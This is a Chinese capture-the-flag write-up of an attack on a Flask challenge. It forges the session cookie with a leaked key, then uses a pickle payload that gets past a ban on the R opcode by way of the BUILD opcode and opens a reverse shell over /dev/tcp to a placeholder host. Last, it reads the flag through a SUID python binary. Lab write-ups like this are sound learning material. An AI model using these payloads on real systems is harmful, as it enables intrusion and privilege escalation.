一共大概分作三步。
flask的session伪造
Pickle反序列化
利用SUID的文件读取flag文件
题目内容提示下载网站备份文件www.zip
,下载后发现是app.py
,打开后果然是flask
框架。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, sessionfrom secret import secret@app.route('/verification' ) def verification (): try : attribute = session.get('Attribute' ) if not isinstance (attribute, dict ): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name' ) == 'admin' : if attribute.get('admin' ) == 1 : return secret else : return "Don't play tricks on me" else : return "You are a perfect stranger to me" if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
根据源码访问/verification
.,分析源码可知要修改session中Attribute
中的name
值和admin
。
session的header和payload一般是base64编码,解码头部后发现secret_key
.
使用flask_session_cookie_manager3.py
,不确定先解码看看。
再编码伪造
得到提示访问/ppppppppppick1e
发现头部有源码/src0de
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route('/src0de' ) def src0de (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e' ) def ppppppppppick1e (): try : username = "admin" rsp = make_response("Hello, %s " % username) rsp.headers['hint' ] = "Source in /src0de" pick1e = request.cookies.get('pick1e' ) if pick1e is not None : pick1e = base64.b64decode(pick1e) else : return rsp if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!" else : return "No Way!!!" except Exception as e: error_message = str (e) return error_message return rsp class GWHT (): def __init__ (self ): pass if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
关键代码:
1 2 3 if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!"
Pickle反序列化,这个折腾了好久才反弹shell成功。
指令R
被ban了,后面通过b
指令(BUILE)成功RCE。
利用:
GWHT
原先是没有__setstate__
这个方法的。那么我们利用{'__setstate__': os.system}
来BUILE这个对象,那么现在对象的__setstate__
就变成了os.system
;接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
因为不回显,所以直接反弹shell。
exp.py
1 2 3 4 5 6 7 8 9 import pickle, pickletools, osimport picklefrom base64 import b64encodeimport os class GWHT (): def __init__ (self ): pass payload = b'\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c "bash -i &> /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"\nb.' print (b64encode(payload))
本来是用bash -i &> /dev/tcp/xx.xx.xx.xx/xxxx
指令,后来才知道,因为题目的环境不一定是bash
所以要使用bash -c
来执行。
反弹shell后发现没有权限读取flag。找一下suid文件
1 find / -perm -u=s -type f
发现居然有python3.8
,直接用python读取flag
1 python3 -c "print(open('flag', 'r').read())"
一句话读取flag
最后见证感人的时刻: